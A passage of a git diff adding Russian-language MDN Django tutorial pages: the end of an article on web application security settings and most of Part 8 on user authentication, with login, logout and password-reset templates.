href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_SECONDS"><code>SECURE_HSTS_SECONDS</code></a> и <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SECURE_HSTS_INCLUDE_SUBDOMAINS"><code>SECURE_HSTS_INCLUDE_SUBDOMAINS</code></a> или на веб-сервере.</li> + <li>Используйте ‘безопасные’ cookies выставив <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-SESSION_COOKIE_SECURE"><code>SESSION_COOKIE_SECURE</code></a> и <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-CSRF_COOKIE_SECURE"><code>CSRF_COOKIE_SECURE</code></a> в <code>True</code>. Это позволит обеспечить пересылку данных cookies только через протокол HTTPS.</li> +</ul> + +<dl> + <dt>Валидация заголовка Host</dt> + <dd>Используйте <a href="https://docs.djangoproject.com/en/2.0/ref/settings/#std:setting-ALLOWED_HOSTS"><code>ALLOWED_HOSTS</code></a> чтобы принимать только запросы от доверенных хостов.</dd> +</dl> + +<p>Так же существует множество других техник защиты и указаний по их использованию. Мы надеемся, что данная статья дала вам понимание, какие техники Django предлагает для обеспечения безопасности. Мы надеемся, что вы продолжите изучение этого вопроса по документации Django.</p> + +<ul> +</ul> + +<h2 id="Подводим_итоги">Подводим итоги</h2> + +<p>Django имеет методы обеспечения защиты от распространенных видов атак, включая XSS и CSRF атаки. В данной статье мы продемонстрировали, как различные виды атак обрабатываются Django на примере нашего приложения <em>LocalLibrary</em>. Мы так же кратко рассмотрели другие виды уязвимостей и методы защиты от них.</p> + +<p>Это было очень краткое погружение в вопрос веб-безопасности. Мы крайне рекомендуем вам прочитать <a href="https://docs.djangoproject.com/en/2.0/topics/security/">Безопасность в Django</a> для более глубокого понимания.</p> + +<p>Следующим и последним шагом в данном руководстве будет выполнение <a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">самостоятельной работы</a>.</p> + +<h2 id="Смотрите_также">Смотрите также</h2> + +<ul> + <li><a href="https://docs.djangoproject.com/en/2.0/topics/security/">Безопасность в Django</a> (Django docs)</li> + <li><a href="https://developer.mozilla.org/en-US/docs/Web/Security">Веб безопасность</a> (MDN)</li> + <li><a href="/en-US/docs/Web/Security/Securing_your_site">Безопасность вашего сайта</a> (MDN)</li> +</ul> + +<p>{{PreviousMenuNext("Learn/Server-side/Django/Deployment", "Learn/Server-side/Django/django_assessment_blog", "Learn/Server-side/Django")}}</p> + +<p> </p> + +<h2 id="In_this_module">In this module</h2> + +<ul> + <li><a href="/en-US/docs/Learn/Server-side/Django/Introduction">Django introduction</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/development_environment">Setting up a Django development environment</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Tutorial_local_library_website">Django Tutorial: The Local Library website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/skeleton_website">Django Tutorial Part 2: Creating a skeleton website</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Models">Django Tutorial Part 3: Using models</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Admin_site">Django Tutorial Part 4: Django admin site</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Home_page">Django Tutorial Part 5: Creating our home page</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Generic_views">Django Tutorial Part 6: Generic list and detail views</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Sessions">Django Tutorial Part 7: Sessions framework</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Authentication">Django Tutorial Part 8: User authentication and permissions</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Forms">Django Tutorial Part 9: Working with forms</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Testing">Django Tutorial Part 10: Testing a Django web application</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/Deployment">Django Tutorial Part 11: Deploying Django to production</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/web_application_security">Django web application security</a></li> + <li><a href="/en-US/docs/Learn/Server-side/Django/django_assessment_blog">DIY Django mini blog</a></li> +</ul> + +<p> </p> diff --git a/files/ru/learn/server-side/django/аутентификация/index.html b/files/ru/learn/server-side/django/аутентификация/index.html new file mode 100644 index 0000000000..807db42a90 --- /dev/null +++ b/files/ru/learn/server-side/django/аутентификация/index.html @@ -0,0 +1,688 @@ +--- +title: 'Руководство Django Часть 8: Аутентификация и авторизация пользователя' +slug: Learn/Server-side/Django/Аутентификация +tags: + - Python + - Аутентификация + - Аутентификация django + - Джанго + - Начинающий + - Обучение + - Разграничение доступа + - Руководство + - Сервер + - Статья + - Формы + - на стороне сервера + - сессии +translation_of: Learn/Server-side/Django/Authentication +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/Server-side/Django/Sessions", "Learn/Server-side/Django/Forms", "Learn/Server-side/Django")}}</div> + +<p class="summary">В данном руководстве мы продемонстрируем вам систему входа пользователя на ваш сайт используя его собственный аккаунт. Кроме того, мы покажем как реализовать контроль того, что может видеть и делать пользователь, в зависимости от того, залогинен он, или нет, а также имеет ли он соответствующий уровень прав доступа <em>(permissions)</em>. Для того чтобы продемонстрировать все это, мы расширим <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, добавив страницы для входа/выхода, а также страницы просмотра/редактирования книг, специфические для пользователя и персонала.</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">Требования:</th> + <td>Завершить изучение предыдущих тем руководства, включая <a href="/ru/docs/Learn/Server-side/Django/Sessions">Руководство Django Часть 7: Работа с сессиями</a>.</td> + </tr> + <tr> + <th scope="row">Цель:</th> + <td>Понимать как настроить и использовать механизм аутентификации пользователя и разграничений прав доступа.</td> + </tr> + </tbody> +</table> + +<h2 id="Обзор">Обзор</h2> + +<p>Django предоставляет систему аутентификации и авторизации ("permission") пользователя, реализованную на основе фреймворка работы с сессиями, который мы рассматривали в <a href="/ru/docs/Learn/Server-side/Django/Sessions">предыдущей части</a>. Система аутентификации и авторизации позволяет вам проверять учетные данные пользователей и определять какие действия какой пользователь может выполнять. Данный фреймворк включает в себя встроенные модели для <code>Пользователей</code> и <code>Групп</code> (основной способ применения прав доступа для более чем одного пользователя), непосредственно саму систему прав доступа (permissions)/флаги, которые определяют может ли пользователь выполнить задачу, с какой формой и отображением для авторизованых пользователей, а так же получить доступ к контенту с ограниченым доступом.</p> + +<div class="note"> +<p><strong>Примечание</strong>: В соответствии с идеологией Django система аутентификации является очень общей и, таким образом, не предоставляет некоторые возможности, которые присутствуют в других системах веб-аутентификации. Решениями некоторых общих задач занимаются пакеты сторонних разработчиков, например, защита от подбора пароля (через стороннюю библиотеку OAuth).</p> +</div> + +<p>В данном разделе руководства мы покажем вам реализацию аутентификации пользователя на сайте <a href="https://developer.mozilla.org/ru/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>, создание страниц входа/выхода, добавления разграничения доступа (permissions) к вашим моделям, а также продемонстрируем контроль за доступом к некоторым страницам. Мы будем использовать аутентификацию/авторизацию для показа пользователям и сотрудникам библиотеки, списков книг, которые были взяты на прокат.</p> + +<p>Система аутентификации является очень гибкой и позволяет вам формировать свои собственные URL-адреса, формы, отображения, а также шаблоны страниц, если вы пожелаете, с нуля, через простой вызов функций соответствующего API для авторизации пользователя. Тем не менее, в данной статье мы будем использовать "встроенные" в Django методы отображений и форм аутентификации, а также методы построения страниц входа и выхода. Нам все еще необходимо создавать шаблоны страниц, но это будет достаточно несложно.</p> + +<p>Мы покажем вам как реализовать разграничение доступа (permissions), а также выполнять соответствующую проверку статусов авторизации и прав доступа, в отображениях, и в шаблонах страниц.</p> + +<h2 id="Подключение_аутентификации">Подключение аутентификации</h2> + +<p>Аутентификация была подключена автоматически когда мы создали <a href="/ru/docs/Learn/Server-side/Django/skeleton_website">скелет сайта</a> (в части 2), таким образом на данный момент вам ничего не надо делать.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Необходимые настройки были выполнены для нас, когда мы создали приложение при помощи команды <code>django-admin startproject</code>. Таблицы базы данных для пользователей и модели авторизации были созданы, когда в первый раз выполнили команду <code>python manage.py migrate</code>.</p> +</div> + +<p>Соответствующие настройки сделаны в параметрах <code>INSTALLED_APPS</code> и <code>MIDDLEWARE</code> файла проекта (<strong>locallibrary/locallibrary/settings.py</strong>), как показано ниже:</p> + +<pre class="brush: python notranslate">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.auth', </strong># Фреймворк аутентификации и моделей по умолчанию. +<strong> 'django.contrib.contenttypes', # </strong>Django контент-типовая система (даёт разрешения, связанные с моделями). + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> # Управление сессиями между запросами + ... +<strong> 'django.contrib.auth.middleware.AuthenticationMiddleware',</strong> # Связывает пользователей, использующих сессии, запросами. + .... +</pre> + +<h2 id="Создание_пользователей_и_групп">Создание пользователей и групп</h2> + +<p>Вы уже создали своего первого пользователя когда мы рассматривали <a href="/ru/docs/Learn/Server-side/Django/Admin_site">Административная панель сайта Django</a> в части 4 (это был суперпользователь, созданный при помощи команды<code> python manage.py createsuperuser</code>). Наш суперпользователь уже авторизован и имеет все необходимые уровни доступа к данным и функциям, таким образом нам необходимо создать тестового пользователя для отработки соответствующей работы сайта. В качестве наиболее быстрого способа, мы будем использовать административную панель сайта для создания соответствующих групп и акканутов <em>locallibrary</em>.</p> + +<div class="note"> +<p><strong>Примечание</strong>: Вы можете создавать пользователей программно, как показано ниже. Например, вам мог бы подойти данный способ в том случае, если вы разрабатываете интерфейс, который позволяет пользователям создавать их собственные аккаунты (вы не должны предоставлять доступ пользователям к административной панели вашего сайта).</p> + +<pre class="brush: python notranslate">from django.contrib.auth.models import User + +# Создайте пользователя и сохраните его в базе данных +user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword') + +# Обновите поля и сохраните их снова +user.first_name = 'John' +user.last_name = 'Citizen' +user.save() +</pre> +</div> + +<p>Ниже мы создадим группу, а затем пользователя. Несмотря на то, что у нас пока нет никаких разрешений для добавления к нашей библиотеке каких-либо членов, если мы захотим это сделать в будущем, то будет намного проще добавлять их к уже созданной группе, с заданной аутентификацией.</p> + +<p>Запустите сервер разработки и перейдите к административной панели вашего сайта (<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>). Залогиньтесь на сайте при помощи параметров (имя пользователя и пароля) аккаунта суперпользователя. Самая "верхняя" страница панели Администратора показывает все наши модели. Для того, чтобы увидеть записи в разделе <strong>Authentication and Authorisation</strong> вы можете нажать на ссылку <strong>Users</strong>, или <strong>Groups</strong>.</p> + +<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p> + +<p>В первую очередь, в качестве нового члена нашего сайта, давайте создадим новую группу.</p> + +<ol> + <li>Нажмите на кнопку <strong>Add</strong> <strong>(Добавить)</strong> (рядом с Group) и создайте новую <em>группу</em>; для данной группы введите <strong>Name (Имя) </strong>"Library Members".<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li> + <li>Для данной группы не нужны какие-либо разрешения, поэтому мы просто нажимаем кнопку <strong>SAVE (Сохранить)</strong> (вы перейдете к списку групп).</li> +</ol> + +<p>Теперь давайте создадим пользователя:</p> + +<ol> + <li>Перейдите обратно на домашнюю страницу административной панели</li> + <li>Для перехода к диалогу добавления пользователя нажмите на кнопку <strong>Add</strong>, соответствующую строке <em>Users (Пользователи)</em>.<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li> + <li>Введите соответствующие <strong>Username</strong> (имя пользователя) и <strong>Password</strong>/<strong>Password confirmation (пароль/подтверждение пароля)</strong> для вашего тестового пользователя</li> + <li>Нажмите <strong>SAVE</strong> для завершения процесса создания пользователя.<br> + <br> + Административная часть сайта создаст нового пользователя и немедленно перенаправит вас на страницу <em>Change user (Изменение параметров пользователя)</em> где вы можете, соответственно, изменить ваш <strong>username</strong>, а кроме того добавить информацию для дополнительных полей модели User. Эти поля включают в себя имя пользователя, фамилию, адрес электронной почты, статус пользователя, а также соответствующие параметры доступа (может быть установлен только флаг <strong>Active</strong>). Ниже вы можете определить группу для пользователя и необходимые параметры доступа, а кроме того, вы можете увидеть важные даты, относящиеся к пользователю (дату подключения к сайту и дату последнего входа).<img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li> + <li>В разделе <em>Groups</em>, из списка <em>Доступные группы</em> выберите группу <strong>Library Member</strong>, а затем переместите ее в блок "Выбранные группы" (нажмите <strong>стрелку-"направо"</strong>, находящуюся между блоками).<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> + <li>Больше нам не нужно здесь нечего делать, просто нажмите "Save"(Сохранить), и вы вернетесь к списку созданых пользователей.</li> +</ol> + +<p>Вот и все! Теперь у вас есть учетная запись «обычного члена библиотеки», которую вы сможете использовать для тестирования (как только добавим страницы, чтобы пользователи могли войти в систему).</p> + +<div class="note"> +<p><strong>Note</strong>: Попробуйте создать другого пользователя, например "Библиотекаря". Так же создайте группу "Библиотекарей" и добавьте туда своего только что созданного библиотекаря</p> +</div> + +<h2 id="Настройка_представлений_проверки">Настройка представлений проверки</h2> + +<p>Django предоставляет почти все, что нужно для создания страниц аутентификации входа, выхода из системы и управления паролями из коробки. Это включает в себя url-адреса, представления (views) и формы,но не включает шаблоны — мы должны создать свой собственный шаблон!</p> + +<p>В этом разделе мы покажем, как интегрировать систему по умолчанию в Сайт LocalLibrary и создать шаблоны. Мы поместим их в основные URL проекта.</p> + +<div class="note"> +<p><strong>Заметка</strong>: Вы не должны использовать этот код, но вполне вероятно, что вы хотите, потому что это делает вещи намного проще. Вам почти наверняка потребуется изменить код обработки формы, если вы измените свою модель пользователя (сложная тема!) но даже в этом случае вы все равно сможете использовать функции просмотра запасов.</p> +</div> + +<div class="note"> +<p><strong>Заметка: </strong>В этом случае мы могли бы разумно поместить страницы аутентификации, включая URL-адреса и шаблоны, в наше приложение каталога. Однако, если бы у нас было несколько приложений, было бы лучше отделить это общее поведение входа в систему и иметь его доступным на всем сайте, так что это то, что мы показали здесь!</p> +</div> + +<h3 id="Проектирование_URLs">Проектирование URLs</h3> + +<p>Добавьте следующее в нижней части проекта urls.py файл (<strong>locallibrary/locallibrary/urls.py</strong>) файл:</p> + +<pre class="brush: python notranslate">#Add Django site authentication urls (for login, logout, password management) +urlpatterns += [ + path('accounts/', include('django.contrib.auth.urls')), +] +</pre> + +<p>Перейдите по <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> URL (обратите внимание на косую черту!), Django покажет ошибку, что он не смог найти этот URL, и перечислить все URL, которые он пытался открыть. Из этого Вы можете увидеть URL-адреса, которые будут работать, например:</p> + +<div class="note"> +<p><span id="result_box" lang="ru"><span>Примечание. Использование вышеуказанного метода добавляет следующие URL-адреса с именами в квадратных скобках, которые могут использоваться для изменения сопоставлений URL-адресов.</span> <span>Вам не нужно реализовывать что-либо еще - приведенное выше сопоставление URL-адресов автоматически отображает указанные ниже URL-адреса.</span></span></p> +</div> + +<div class="note"> +<pre class="brush: python notranslate">accounts/ login/ [name='login'] +accounts/ logout/ [name='logout'] +accounts/ password_change/ [name='password_change'] +accounts/ password_change/done/ [name='password_change_done'] +accounts/ password_reset/ [name='password_reset'] +accounts/ password_reset/done/ [name='password_reset_done'] +accounts/ reset/<uidb64>/<token>/ [name='password_reset_confirm'] +accounts/ reset/done/ [name='password_reset_complete']</pre> +</div> + +<p><span id="result_box" lang="ru"><span>Теперь попробуйте перейти к URL-адресу входа (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>).</span> <span>Это приведет к сбою снова, но с ошибкой, сообщающей вам, что нам не хватает требуемого шаблона (registration / login.html) в пути поиска шаблона.</span> <span>Вы увидите следующие строки, перечисленные в желтом разделе вверху:</span></span></p> + +<pre class="brush: python notranslate">Exception Type: TemplateDoesNotExist +Exception Value: <strong>registration/login.html</strong></pre> + +<p><span id="result_box" lang="ru"><span>Следующий шаг - создать каталог регистрации в пути поиска, а затем добавить файл login.html.</span></span></p> + +<h3 id="Каталог_шаблонов">Каталог шаблонов</h3> + +<p><span id="result_box" lang="ru"><span>URL-адреса (и неявные представления), которые мы только что добавили, ожидают найти связанные с ними шаблоны в каталоге / регистрации / где-то в пути поиска шаблонов.</span><br> + <br> + <span>Для этого сайта мы разместим наши HTML-страницы в каталоге <strong>templates / registration /</strong>.</span> <span>Этот каталог должен находиться в корневом каталоге проекта, то есть в том же каталоге, что и в каталоге и папках <strong>locallibrary</strong>).</span> <span>Создайте эти папки сейчас.</span></span></p> + +<div class="note"> +<p><strong>Примечание:</strong> Ваша структура папок теперь должна выглядеть как показано внизу:<br> + locallibrary (django project folder)<br> + |_catalog<br> + |_locallibrary<br> + |_templates <strong>(new)</strong><br> + |_registration</p> +</div> + +<p>Чтобы сделать эти директории видимыми для загрузчика шаблонов (<span id="result_box" lang="ru"><span>т. е. помещать этот каталог в путь поиска шаблона</span></span>) откройте настройки проекта (<strong>/locallibrary/locallibrary/settings.py</strong>), и обновите в секции <code>TEMPLATES</code> строку <code>'DIRS'</code> как показано.</p> + +<pre class="brush: python notranslate">TEMPLATES = [ + { + ... +<strong> </strong><strong>'DIRS': [os.path.join(BASE_DIR, 'templates')],</strong> + 'APP_DIRS': True, + ... +</pre> + +<h3 id="Шаблон_аутентификации">Шаблон <span id="result_box" lang="ru"><span>аутентификации</span></span></h3> + +<div class="warning"> +<p><strong>Важно</strong>: <span id="result_box" lang="ru"><span>Шаблоны аутентификации, представленные в этой статье, являются очень простой / слегка измененной версией шаблонов логина демонстрации Django.</span> <span>Возможно, вам придется настроить их для собственного использования!</span></span></p> +</div> + +<p>Создайте новый HTML файл, названный /<strong>locallibrary/templates/registration/login.html</strong>. <span class="short_text" id="result_box" lang="ru"><span>дайте ему следующее содержание</span></span>:</p> + +<pre class="brush: html line-numbers language-html notranslate">{% extends "base_generic.html" %} + +{% block content %} + +{% if form.errors %} + <p>Your username and password didn't match. Please try again.</p> +{% endif %} +<code class="language-html"> +{% if next %} + {% if user.is_authenticated %} + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Your account doesn't have access to this page. To proceed, + please login with an account that has access.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + {% else %} + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span>Please login to see this page.<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + {% endif %} +{% endif %} + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>form</span> <span class="attr-name token">method</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>post<span class="punctuation token">"</span></span> <span class="attr-name token">action</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>{% url 'login' %}<span class="punctuation token">"</span></span><span class="punctuation token">></span></span> +{% csrf_token %} +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>table</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>\{{ form.username.label_tag }}<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>\{{ form.username }}<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>tr</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>\{{ form.password.label_tag }}<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> + <span class="tag token"><span class="tag token"><span class="punctuation token"><</span>td</span><span class="punctuation token">></span></span>\{{ form.password }}<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>td</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>tr</span><span class="punctuation token">></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>table</span><span class="punctuation token">></span></span> + +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>submit<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>login<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>input</span> <span class="attr-name token">type</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>hidden<span class="punctuation token">"</span></span> <span class="attr-name token">name</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>next<span class="punctuation token">"</span></span> <span class="attr-name token">value</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>\{{ next }}<span class="punctuation token">"</span></span> <span class="punctuation token">/></span></span> +<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>form</span><span class="punctuation token">></span></span> + +{# Assumes you setup the password_reset view in your URLconf #} +<span class="tag token"><span class="tag token"><span class="punctuation token"><</span>p</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"><</span>a</span> <span class="attr-name token">href</span><span class="attr-value token"><span class="punctuation token">=</span><span class="punctuation token">"</span>{% url 'password_reset' %}<span class="punctuation token">"</span></span><span class="punctuation token">></span></span>Lost password?<span class="tag token"><span class="tag token"><span class="punctuation token"></</span>a</span><span class="punctuation token">></span></span><span class="tag token"><span class="tag token"><span class="punctuation token"></</span>p</span><span class="punctuation token">></span></span> + +{% endblock %}</code></pre> + +<p id="sect1"><span id="result_box" lang="ru"><span>Этот шаблон имеет сходство с тем, что мы видели раньше - он расширяет наш базовый шаблон и переопределяет блок контента.</span> <span>Остальная часть кода - это довольно стандартный код обработки формы, о котором мы поговорим в следующем учебном пособии.</span> <span>Все, что вам нужно знать, это показ формы, в которой вы можете ввести свое имя пользователя и пароль, а если вы введете недопустимые значения, вам будет предложено ввести правильные значения, когда страница обновится.</span></span></p> + +<p>Перейдите на страницу входа (<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>) когда вы сохраните свой шаблон, и вы должны увидеть что-то наподобие этого:</p> + +<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p> + +<p><span id="result_box" lang="ru"><span>Если ваша попытка войти в систему будет успешной, вы будете перенаправлены на другую страницу (по умолчанию это будет <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>).</span> <span>Проблема здесь в том, что по умолчанию Django ожидает, что после входа в систему вы захотите перейти на страницу профиля, что может быть или не быть.</span> <span>Поскольку вы еще не определили эту страницу, вы получите еще одну ошибку!</span><br> + <br> + <span>Откройте настройки проекта (<strong>/locallibrary/locallibrary/settings.py</strong>) и добавьте текст ниже.</span> <span>Теперь, когда вы входите в систему, вы по умолчанию должны перенаправляться на домашнюю страницу сайта.</span></span></p> + +<pre class="brush: python notranslate"># Redirect to home URL after login (Default redirects to /accounts/profile/) +LOGIN_REDIRECT_URL = '/' +</pre> + +<h3 id="Шаблон_выхода">Шаблон выхода</h3> + +<p><span id="result_box" lang="ru"><span>Если вы перейдете по URL-адресу выхода (<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>), то увидите странное поведение - </span></span>ваш пользователь наверняка выйдет из системы<span lang="ru"><span>, </span></span>но вы попадете на страницу выхода администратора<span lang="ru"><span>.</span> </span>Это не то, что вам нужно, хотя бы потому, что ссылка для входа на этой странице приведет вас к экрану входа в систему администратора.<span lang="ru"><span> (и это доступно только для пользователей, у которых есть разрешение <code>is_staff</code>).</span><br> + <br> + <span>Создайте и откройте <strong>/locallibrary/templates/registration/logged_out.html</strong>.</span> <span>Скопируйте текст ниже:</span></span></p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} +<p>Logged out!</p> + +<a href="{% url 'login'%}">Click here to login again.</a> +{% endblock %}</pre> + +<p><span id="result_box" lang="ru"><span>Этот шаблон очень прост.</span> <span>Он просто отображает сообщение, информирующее вас о том, что вы вышли из системы, и предоставляет ссылку, которую вы можете нажать, чтобы вернуться на экран входа в систему.</span> <span>Если вы снова перейдете на страницу выхода из системы, вы увидите эту страницу:</span></span></p> + +<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p> + +<h3 id="Шаблон_сброса_пароля">Шаблон сброса пароля</h3> + +<p><span id="result_box" lang="ru"><span>Система сброса пароля по умолчанию использует электронную почту, чтобы отправить пользователю ссылку на сброс.</span> <span>Вам необходимо создать формы, чтобы получить адрес электронной почты пользователя, отправить электронное письмо, разрешить им вводить новый пароль и отметить, когда весь процесс будет завершен.</span><br> + <br> + <span>В качестве отправной точки можно использовать следующие шаблоны.</span></span></p> + +<h4 id="Форма_сброса_пароля">Форма сброса пароля</h4> + +<p><span id="result_box" lang="ru"><span>Это форма, используемая для получения адреса электронной почты пользователя (для отправки пароля для сброса пароля).</span> <span>Создайте <strong>/locallibrary/templates/registration/password_reset_form.html</strong> и дайте ему следующее содержание:</span></span></p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + +<form action="" method="post">{% csrf_token %} + {% if form.email.errors %} \{{ form.email.errors }} {% endif %} + <p>\{{ form.email }}</p> + <input type="submit" class="btn btn-default btn-lg" value="Reset password" /> +</form> + +{% endblock %} +</pre> + +<h4 id="Сброс_пароля">Сброс пароля</h4> + +<p>Эта форма отображается после того, как ваш адрес электронной почты будет собран. Создайте <strong>/locallibrary/templates/registration/password_reset_done.html</strong>, и дайте ему следующее содержание:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} +<p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p> +{% endblock %} +</pre> + +<h4 id="Сброс_пароля_по_email">Сброс пароля по email</h4> + +<p>Этот шаблон предоставляет текст электронной почты HTML, содержащий ссылку на сброс, которую мы отправим пользователям. Создайте /locallibrary/templates/registration/password_reset_email.html и дайте ему следующее содержание:</p> + +<pre class="brush: html notranslate">Someone asked for password reset for email \{{ email }}. Follow the link below: +\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} +</pre> + +<h4 id="Подтверждение_на_сброс_пароля">Подтверждение на сброс пароля</h4> + +<p>На этой странице вы вводите новый пароль после нажатия ссылки в электронном письме с возвратом пароля. Создайте /locallibrary/templates/registration/password_reset_confirm.html и дайте ему следующее содержание:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} + +{% block content %} + + {% if validlink %} + <p>Please enter (and confirm) your new password.</p> + <form action="" method="post"> + <code class="language-html">{% csrf_token %}</code> + <table> + <tr> + <td>\{{ form.new_password1.errors }} + <label for="id_new_password1">New password:</label></td> + <td>\{{ form.new_password1 }}</td> + </tr> + <tr> + <td>\{{ form.new_password2.errors }} + <label for="id_new_password2">Confirm password:</label></td> + <td>\{{ form.new_password2 }}</td> + </tr> + <tr> + <td></td> + <td><input type="submit" value="Change my password" /></td> + </tr> + </table> + </form> + {% else %} + <h1>Password reset failed</h1> + <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p> + {% endif %} + +{% endblock %} +</pre> + +<h4 id="Сброс_пароля_завершен">Сброс пароля завершен</h4> + +<p>Это последний шаблон сброса пароля, который отображается, чтобы уведомить вас о завершении сброса пароля. Создайте /locallibrary/templates/registration/password_reset_complete.html и дайте ему следующее содержание:</p> + +<pre class="brush: html notranslate">{% extends "base_generic.html" %} +{% block content %} + +<h1>The password has been changed!</h1> +<p><a href="{% url 'login' %}">log in again?</a></p> + +{% endblock %}</pre> + +<h3 id="Тестирование_новых_страниц_аутентификации">Тестирование новых страниц аутентификации</h3> + +<p>Теперь, когда вы добавили конфигурацию URL и создали все эти шаблоны, теперь страницы аутентификации должны работать! Вы можете протестировать новые страницы аутентификации, попытавшись войти в систему, а затем выйдите из учетной записи суперпользователя, используя эти URL-адреса:</p> + +<ul> + <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li> + <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li> +</ul> + +<p>Вы сможете проверить функцию сброса пароля по ссылке на странице входа. <strong>Имейте в виду, что Django 